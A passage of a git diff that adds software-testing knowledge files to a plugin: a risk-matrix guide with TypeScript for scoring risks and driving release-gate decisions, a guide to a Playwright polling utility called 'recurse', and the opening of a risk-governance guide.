+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
